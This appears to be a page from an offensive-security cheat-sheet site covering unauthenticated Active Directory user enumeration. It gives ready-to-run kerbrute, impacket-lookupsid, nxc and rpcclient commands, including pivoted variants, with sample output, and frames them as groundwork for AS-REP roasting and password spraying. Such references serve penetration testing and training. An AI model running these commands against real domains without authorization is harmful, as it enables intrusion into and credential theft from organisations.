Skip to content
HackIndex logo

HackIndex

Unauthenticated User Enumeration

3 min read Jun 9, 2026

Before any credentials exist, a valid username list enables AS-REP roasting against accounts with pre-authentication disabled, and password spraying once a common password is identified. Multiple protocols expose user lists without authentication — use whichever responds.

Kerbrute — Kerberos username validation

Kerbrute sends an AS-REQ for each candidate username and distinguishes valid accounts from invalid ones by the KDC error code. Accounts with pre-authentication disabled return the AS-REP hash directly without a password.

┌──(kali㉿kali)-[~]
└─$ # Validate usernames against the KDC
┌──(kali㉿kali)-[~]
└─$ kerbrute userenum --dc $TARGET_IP -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid_users.txt
 
┌──(kali㉿kali)-[~]
└─$ # Through a pivot or tunnel
┌──(kali㉿kali)-[~]
└─$ proxychains kerbrute userenum --dc $TARGET_IP -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid_users.txt 
[+] VALID USERNAME: [email protected]
[+] VALID USERNAME: [email protected]
[!] [email protected] - Valid user, no pre-auth required

Accounts flagged no pre-auth required are immediately roastable — feed them to impacket-GetNPUsers without waiting for a full user list. See AS-REP Roasting.

RID brute — impacket-lookupsid

SIDs in AD follow a predictable pattern: domain SID plus an incremented RID. lookupsid iterates RIDs and resolves each to an account name. Works via null session or guest account on most default configurations.

┌──(kali㉿kali)-[~]
└─$ # Null session
┌──(kali㉿kali)-[~]
└─$ impacket-lookupsid anonymous@$TARGET_IP -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Guest account — works when null session is blocked
┌──(kali㉿kali)-[~]
└─$ impacket-lookupsid guest@$TARGET_IP -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Through a pivot or tunnel
┌──(kali㉿kali)-[~]
└─$ proxychains impacket-lookupsid anonymous@$TARGET_IP -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Extract only user accounts
┌──(kali㉿kali)-[~]
└─$ impacket-lookupsid anonymous@$TARGET_IP -no-pass | grep '(SidTypeUser)' | awk '{print $2}' | cut -d'\\' -f2 > users.txt 
500: CORP\Administrator (SidTypeUser)
501: CORP\Guest (SidTypeUser)
1103: CORP\jsmith (SidTypeUser)
1104: CORP\svc-backup (SidTypeUser)
1105: CORP\DC01$ (SidTypeComputer)

nxc — anonymous SMB user listing

nxc's --users flag enumerates domain users via null session or guest authentication. Output is cleaner than rpcclient for scripting.

┌──(kali㉿kali)-[~]
└─$ # Null session
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u '' -p '' --users
 
┌──(kali㉿kali)-[~]
└─$ # Guest account
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u 'guest' -p '' --users
 
┌──(kali㉿kali)-[~]
└─$ # Through a pivot or tunnel
┌──(kali㉿kali)-[~]
└─$ proxychains nxc smb $TARGET_IP -u '' -p '' --users 
SMB  10.10.10.10  445  DC01  jsmith  Badpwdcount: 0
SMB  10.10.10.10  445  DC01  svc-backup  Badpwdcount: 0

rpcclient — null session fallback

rpcclient null session enumeration is less reliable on modern DCs but still works in older or misconfigured environments.

┌──(kali㉿kali)-[~]
└─$ # List domain users
rpcclient -U "" -N $TARGET_IP -c "enumdomusers"
 
# List domain groups
rpcclient -U "" -N $TARGET_IP -c "enumdomgroups"
 
# Check password policy before spraying
rpcclient -U "" -N $TARGET_IP -c "getdompwinfo" 
user:[jsmith] rid:[0x44f]
user:[svc-backup] rid:[0x450]
user:[Administrator] rid:[0x1f4]

With a valid user list, check the password policy in Password Policy and Spray Surface before running any spray. Accounts identified by kerbrute as having pre-authentication disabled go directly to AS-REP Roasting.

References